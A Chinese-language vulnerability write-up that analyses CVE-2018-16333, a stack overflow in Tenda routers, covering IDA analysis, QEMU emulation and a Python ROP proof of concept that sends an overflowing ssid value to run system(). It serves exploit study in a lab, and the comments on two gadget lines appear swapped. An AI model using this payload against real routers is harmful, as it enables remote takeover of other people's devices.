tenda_2018-16333详解
字数 1550 2025-08-05 00:16:03
Tenda路由器CVE-2018-16333缓冲区溢出漏洞分析与利用
漏洞概述
CVE-2018-16333是Tenda路由器中的一个缓冲区溢出漏洞,存在于路由器的web服务器中。当处理POST请求的ssid参数时,该参数值被直接用于sprintf调用到一个栈上的局部变量,导致缓冲区溢出,可以覆盖函数的返回地址。
漏洞影响:通过精心构造的POST请求可能导致远程代码执行。
漏洞分析
漏洞定位
-
通过字符串搜索定位漏洞函数:
- 使用IDA的ALT+T搜索"ssid"字符串
- 或通过strcpy函数的交叉引用定位到
form_fast_setting_wifi_set函数
-
漏洞点分析:
- 程序获取ssid参数后未进行长度检查直接使用strcpy复制到栈变量
- 关键细节:第一次strcpy溢出会覆盖第二次strcpy的src指针,需要构造有效地址
IDA分析技巧
-
字符串搜索方法:
- ALT + T:搜索字符串
- CTRL + T:重复上一个搜索
- ALT + B:二进制字节序列方式搜索
- CTRL + B:重复上一个搜索
-
定位关键函数:
- 通过字符串交叉引用快速定位关键函数
- 分析函数调用流程和参数传递
环境搭建与调试
QEMU用户模式调试
-
安装qemu-user-static:
sudo apt install qemu-user-static -
启动程序:
cp $(which qemu-arm-static) ./ sudo chroot ./ ./qemu-arm-static ./bin/httpd -
程序修复:
- 程序可能卡死在check_network和ConnectCfm函数
- 使用IDA插件keypatch修改函数返回值为1
- 安装keypatch插件:
git clone https://github.com/keystone-engine/keypatch
-
网络配置问题解决:
apt-get install bridge-utils apt-get install uml-utilities brctl addbr br0 brctl addif br0 ens33 ifconfig br0 up dhclient br0
QEMU系统模式调试
-
下载必要文件:
wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress -
启动QEMU:
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \ -append "root=/dev/mmcblk0p2 console=ttyAMA0" \ -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic -
网络配置:
ifconfig eth0 192.168.40.100 scp -r ./squashfs-root root@192.168.40.100:/root/ -
挂载文件系统:
mount -o bind /dev ./root/dev mount -t proc /proc ./root/proc chroot ./ sh -
配置桥接网卡:
brctl addbr br0 ifconfig br0 192.168.40.200/24 up -
调试启动:
./gdbserver-7.7.1-armhf-eabi5-v1-sysv 0.0.0.0:1234 ./bin/httpd
漏洞利用
利用思路
- 构造ROP链执行system(cmd)
- 需要以下关键地址:
- system函数地址
- 可读地址
- 合适的gadget地址
POC构造
system = libc_base + 0x5A270 # readelf -s ./lib/libc.so.0 | grep system
readable_addr = libc_base + 0x64144
mov_r0_ret_r3 = libc_base + 0x40cb8 # ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
pop_r3 = libc_base + 0x18298 # ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
payload = 'a'*(0x60) + p32(readable_addr) + 'b'*(0x20-8)
payload += p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = ""
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data) # 需要两次请求
print(response.text)
关键点说明
-
需要两次POST请求的原因:
- 第一次溢出设置好环境
- 第二次触发实际执行
- 实际测试表明两次请求效果更好
-
地址获取方法:
- 使用readelf查找system函数地址
- 使用ROPgadget查找合适的gadget
- 需要确保地址不包含NULL字节
参考资源
-
自行环境搭建:
- https://blog.csdn.net/weixin_44309300/article/details/118526235
-
现成环境实验:
- https://github.com/firmianay/IoT-vulhub/tree/master/Tenda/CVE-2018-16333
-
Docker运行环境搭建:
- https://island123.github.io/2020/02/12/IOT%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA--%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8qemu%E8%BF%90%E8%A1%8C%E5%90%84%E7%A7%8D%E6%8C%87%E4%BB%A4%E6%9E%B6%E6%9E%84%E7%A8%8B%E5%BA%8F/#%E4%B8%8Edocker%E7%9A%84%E5%85%BC%E5%AE%B9%E6%80%A7%E9%97%AE%E9%A2%98
-
QEMU网络配置:
- https://wzt.ac.cn/2021/05/28/QEMU-networking/
- https://blog.csdn.net/u014022631/article/details/53411557
-
解决qemu-user模式下libc问题:
- https://cq674350529.github.io/2020/05/09/%E6%8A%80%E5%B7%A7misc/#more